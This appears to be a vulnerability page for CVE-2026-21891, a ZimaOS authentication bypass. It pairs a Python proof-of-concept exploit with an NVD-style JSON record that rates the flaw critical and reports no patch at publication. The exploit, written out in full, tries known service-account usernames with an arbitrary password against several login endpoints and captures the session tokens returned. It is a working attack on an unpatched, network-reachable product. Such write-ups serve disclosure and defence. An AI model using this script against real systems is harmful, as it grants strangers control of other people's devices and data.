CVE-2026-21891

import requests import json # CVE-2026-21891 PoC - ZimaOS Authentication Bypass # Target: ZimaOS <= 1.5.0 TARGET_URL = "http://target-ip:3000" # Replace with actual target def exploit_auth_bypass(): """ Exploit authentication bypass in ZimaOS login function. The vulnerability allows bypass by using known service account usernames. """ endpoints = [ "/api/v1/user/login", "/api/v2/user/login", "/login" ] # Common service account usernames to try service_accounts = ["admin", "root", "system", "daemon", "service", "zima"] for endpoint in endpoints: for username in service_accounts: payload = { "username": username, "password": "any_password_here" # Any password works due to bug } try: response = requests.post( f"{TARGET_URL}{endpoint}", json=payload, timeout=10, verify=False ) # Check for successful authentication indicators if response.status_code == 200: data = response.json() if data.get("success") or data.get("token") or data.get("session"): print(f"[+] VULNERABLE! Auth bypassed with username: {username}") print(f"[+] Response: {json.dumps(data, indent=2)}") return True, username, data # Check for other success indicators if "token" in response.text.lower() or "session" in response.text.lower(): if response.status_code in [200, 201, 204]: print(f"[!] Potential auth bypass with username: {username}") except requests.exceptions.RequestException as e: print(f"[-] Error testing {username}@{endpoint}: {e}") return False, None, None if __name__ == "__main__": print("=" * 60) print("CVE-2026-21891 - ZimaOS Authentication Bypass PoC") print("=" * 60) vulnerable, user, resp = exploit_auth_bypass() if vulnerable: print(f"\n[SUCCESS] System is vulnerable!") print(f"Use username '{user}' with any password to authenticate")

{"cve": {"id": "CVE-2026-21891", "sourceIdentifier": "[email protected]", "published": "2026-01-08T14:15:57.403", "lastModified": "2026-01-12T17:13:00.240", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ZimaOS is a fork of CasaOS, an operating system for Zima devices and x86-64 systems with UEFI. In versions up to and including 1.5.0, the application checks the validity of the username but appears to skip, misinterpret, or incorrectly validate the password when the provided username matches a known system service account. The application's login function fails to properly handle the password validation result for these users, effectively granting authenticated access to anyone who knows one of these common usernames and provides any password. As of time of publication, no known patched versions are available."}, {"lang": "es", "value": "ZimaOS es un fork de CasaOS, un sistema operativo para dispositivos Zima y sistemas x86-64 con UEFI. En versiones hasta la 1.5.0 inclusive, la aplicación verifica la validez del nombre de usuario, pero parece omitir, malinterpretar o validar incorrectamente la contraseña cuando el nombre de usuario proporcionado coincide con una cuenta de servicio de sistema conocida. La función de inicio de sesión de la aplicación no maneja correctamente el resultado de la validación de la contraseña para estos usuarios, otorgando efectivamente acceso autenticado a cualquiera que conozca uno de estos nombres de usuario comunes y proporcione cualquier contraseña. A la fecha de publicación, no hay versiones parcheadas conocidas disponibles."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L", "baseScore": 9.4, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 5.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-287"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:zimaspace:zimaos:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.5.0", "matchCriteriaId": "F96E7421-2784-4C1C-9785-E4E26C728760"}]}]}], "references": [{"url": "https://github.com/IceWhaleTech/ZimaOS/security/advisories/GHSA-xj93-qw9p-jxq4", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/IceWhaleTech/ZimaOS/security/advisories/GHSA-xj93-qw9p-jxq4", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}